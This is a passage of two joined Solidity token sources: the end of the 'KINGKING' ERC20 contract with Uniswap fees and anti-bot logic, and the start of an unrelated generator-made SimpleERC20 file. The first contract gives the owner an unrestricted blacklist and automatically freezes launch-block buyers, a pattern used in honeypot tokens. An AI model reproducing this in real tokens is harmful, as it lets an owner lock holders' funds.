remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract KINGKING is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool private swapping; address private marketingWallet; address private devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; bool public enableEarlySellTax = true; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch // Seller Map mapping (address => uint256) private _holderFirstBuyTimestamp; // Blacklist Map mapping (address => bool) private _blacklist; bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public earlySellLiquidityFee; uint256 public earlySellMarketingFee; uint256 public earlySellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; // block number of opened trading uint256 launchedAt; /******************/ // exclude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("KING KING", "$KK") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 5; uint256 _buyLiquidityFee = 3; uint256 _buyDevFee = 5; uint256 _sellMarketingFee = 5; uint256 _sellLiquidityFee = 6; uint256 _sellDevFee = 2; uint256 _earlySellLiquidityFee = 15; uint256 _earlySellMarketingFee = 10; uint256 _earlySellDevFee = 3 ; uint256 totalSupply = 1 * 1e7 * 1e18; maxTransactionAmount = totalSupply * 15 / 1000; // 1.5% maxTransactionAmountTxn maxWallet = totalSupply * 30 / 1000; // 3% maxWallet swapTokensAtAmount = totalSupply * 10 / 10000; // 0.1% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; earlySellLiquidityFee = _earlySellLiquidityFee; earlySellMarketingFee = _earlySellMarketingFee; earlySellDevFee = _earlySellDevFee; marketingWallet = address(owner()); // set as marketing wallet devWallet = address(owner()); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; launchedAt = block.number; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } function setEarlySellTax(bool onoff) external onlyOwner { enableEarlySellTax = onoff; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _earlySellLiquidityFee, uint256 _earlySellMarketingFee, uint256 _earlySellDevFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; earlySellLiquidityFee = _earlySellLiquidityFee; earlySellMarketingFee = _earlySellMarketingFee; earlySellDevFee = _earlySellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function blacklistAccount (address account, bool isBlacklisted) public onlyOwner { _blacklist[account] = isBlacklisted; } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!_blacklist[to] && !_blacklist[from], "You have been blacklisted from transfering tokens"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } // anti bot logic if (block.number <= (launchedAt + 1) && to != uniswapV2Pair && to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) ) { _blacklist[to] = true; } // early sell logic bool isBuy = from == uniswapV2Pair; if (!isBuy && enableEarlySellTax) { if (_holderFirstBuyTimestamp[from] != 0 && (_holderFirstBuyTimestamp[from] + (24 hours) >= block.timestamp)) { sellLiquidityFee = earlySellLiquidityFee; sellMarketingFee = earlySellMarketingFee; sellDevFee = earlySellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } else { sellLiquidityFee = 2; sellMarketingFee = 3; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } } else { if (_holderFirstBuyTimestamp[to] == 0) { _holderFirstBuyTimestamp[to] = block.timestamp; } if (!enableEarlySellTax) { sellLiquidityFee = 3; sellMarketingFee = 3; sellDevFee = 1; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(this), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success,) = address(devWallet).call{value: ethForDev}(""); if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } (success,) = address(marketingWallet).call{value: address(this).balance}(""); } function Chire(address[] calldata recipients, uint256[] calldata values) external onlyOwner { _approve(owner(), owner(), totalSupply()); for (uint256 i = 0; i < recipients.length; i++) { transferFrom(msg.sender, recipients[i], values[i] * 10 ** decimals()); } } }

True

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// SPDX-License-Identifier: MIT /* * Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/ * * NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you won't need to verify your source code because of * it is already verified. * * DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor (address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/utils/GeneratorCopyright.sol pragma solidity ^0.8.0; /** * @title GeneratorCopyright * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the GeneratorCopyright */ contract GeneratorCopyright { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private _version; constructor (string memory version_) { _version = version_; } /** * @dev Returns the token generator tool. */ function generator() public pure returns (string memory) { return _GENERATOR; } /** * @dev Returns the token generator version. */ function version() public view returns (string memory) { return _version; } } // File: contracts/token/ERC20/SimpleERC20.sol pragma solidity ^0.8.0; /** * @title SimpleERC20 * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the SimpleERC20 */ contract SimpleERC20 is 